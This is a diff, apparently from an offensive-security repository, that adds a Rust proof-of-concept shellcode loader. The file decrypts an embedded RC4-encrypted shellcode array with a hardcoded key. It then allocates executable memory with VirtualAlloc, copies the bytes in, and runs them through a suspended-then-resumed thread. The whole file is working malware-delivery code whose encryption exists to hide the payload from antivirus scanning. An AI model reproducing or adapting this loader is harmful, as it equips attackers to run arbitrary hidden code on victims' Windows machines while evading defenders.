|
| 1 | + |
| 2 | +/* |
| 3 | + An POC of Rc4 Encryption Technique |
| 4 | + For More Codes: |
| 5 | + @5mukx |
| 6 | +*/ |
| 7 | + |
| 8 | +use rc4::{Rc4, KeyInit, StreamCipher}; |
| 9 | +use winapi::um::{errhandlingapi::GetLastError, handleapi::CloseHandle, memoryapi::VirtualAlloc, processthreadsapi::{CreateThread, ResumeThread}}; |
| 10 | +use std::ptr::{self, null_mut}; |
| 11 | +use winapi::um::synchapi::WaitForSingleObject; |
| 12 | + |
| 13 | + |
| 14 | +macro_rules! okey { |
| 15 | + ($msg:expr, $($arg:expr), *) => { |
| 16 | + println!("\\_____[+] {}", format!($msg, $($arg), *)); |
| 17 | + }; |
| 18 | +} |
| 19 | + |
| 20 | +macro_rules! error { |
| 21 | + ($msg:expr, $($arg:expr), *) => { |
| 22 | + println!("\\_____[-] {}", format!($msg, $($arg), *)); |
| 23 | + println!("Exiting ..."); |
| 24 | + std::process::exit(1); |
| 25 | + }; |
| 26 | +} |
| 27 | +fn main(){ |
| 28 | + |
| 29 | + // Encrypted Shellcode here ! |
| 30 | + let mut buf = [142, 107, 104, 1, 240, 64, 88, 236, 94, 35, 59, 43, 23, 163, 122, 216, 40, 91, 225, 163, |
| 31 | + 24, 202, 162, 245, 58, 83, 126, 124, 154, 221, 246, 138, 169, 156, 122, 229, 96, 197, 32, |
| 32 | + 154, 184, 228, 37, 246, 97, 159, 100, 21, 176, 235, 208, 102, 118, 149, 129, 227, 214, |
| 33 | + 113, 253, 12, 224, 23, 213, 164, 249, 147, 55, 113, 32, 10, 171, 55, 186, 43, 138, 206, |
| 34 | + 223, 211, 9, 255, 24, 173, 56, 176, 4, 136, 170, 184, 17, 174, 194, 102, 43, 40, 209, 25, |
| 35 | + 195, 9, 35, 255, 225, 61, 179, 248, 23, 172, 15, 75, 224, 142, 66, 206, 197, 159, 44, 132, |
| 36 | + 35, 245, 119, 141, 255, 101, 67, 112, 70, 198, 144, 182, 154, 228, 167, 94, 87, 156, 165, |
| 37 | + 219, 127, 76, 223, 204, 227, 199, 69, 231, 238, 213, 16, 250, 85, 219, 172, 51, 233, 217, |
| 38 | + 191, 140, 80, 204, 70, 80, 182, 70, 45, 59, 79, 154, 5, 74, 119, 200, 145, 37, 21, 44, 205, |
| 39 | + 55, 164, 149, 240, 250, 37, 37, 39, 78, 134, 8, 195, 216, 61, 199, 36, 1, 47, 29, 213, 168, |
| 40 | + 237, 192, 250, 103, 48, 145, 233, 154, 242, 90, 71, 88, 148, 163, 61, 6, 123, 28, 255, 57, |
| 41 | + 120, 56, 206, 208, 74, 36, 183, 190, 184, 95, 86, 76, 141, 151, 99, 59, 233, 47, 178, 249, |
| 42 | + 18, 115, 253, 16, 212, 200, 95, 140, 121, 211, 167, 201, 140, 96, 245, 126, 230, 54, 220, |
| 43 | + 38, 40, 24, 223, 42, 254, 233, 81, 16, 154, 51, 191, 205, 46, 90, 205, 172, 90, 56, 64, 11]; |
| 44 | + |
| 45 | + // key => let key = b"This is nerdy .. im the key :)"; |
| 46 | + let mut rc4 = Rc4::new(b"This is nerdy .. im the key :)".into()); |
| 47 | + rc4.apply_keystream(&mut buf); |
| 48 | + |
| 49 | + |
| 50 | + // => After this you can use you own Technique to inject the shellcode ! |
| 51 | + unsafe{ |
| 52 | + let vir_addr = VirtualAlloc( |
| 53 | + null_mut(), |
| 54 | + buf.len(), |
| 55 | + 0x1000 | 0x2000, |
| 56 | + 0x40, |
| 57 | + ); |
| 58 | + |
| 59 | + if vir_addr.is_null(){ |
| 60 | + error!("VirAlloc Error, Failed to allocate mem: {}",GetLastError()); |
| 61 | + } |
| 62 | + okey!("Allocated Address: {:?}",vir_addr); |
| 63 | + |
| 64 | + ptr::copy(buf.as_ptr(), vir_addr as *mut u8, buf.len()); |
| 65 | + |
| 66 | + let h_thread = CreateThread( |
| 67 | + null_mut(), |
| 68 | + 0, |
| 69 | + std::mem::transmute(vir_addr), |
| 70 | + null_mut(), |
| 71 | + 0x00000004, // CREATE_SUSPEND |
| 72 | + null_mut(), |
| 73 | + ); |
| 74 | + |
| 75 | + if h_thread.is_null(){ |
| 76 | + error!("Failed to create Thread :{:?}",GetLastError()); |
| 77 | + } |
| 78 | + |
| 79 | + okey!("Execution addr: {:?}",h_thread); |
| 80 | + |
| 81 | + ResumeThread(h_thread); |
| 82 | + okey!("Executed Shellcode ...{}","!"); |
| 83 | + |
| 84 | + WaitForSingleObject(h_thread, 0xFFFFFFFF); |
| 85 | + CloseHandle(h_thread); |
| 86 | + } |
| 87 | +} |
| 88 | + |
0 commit comments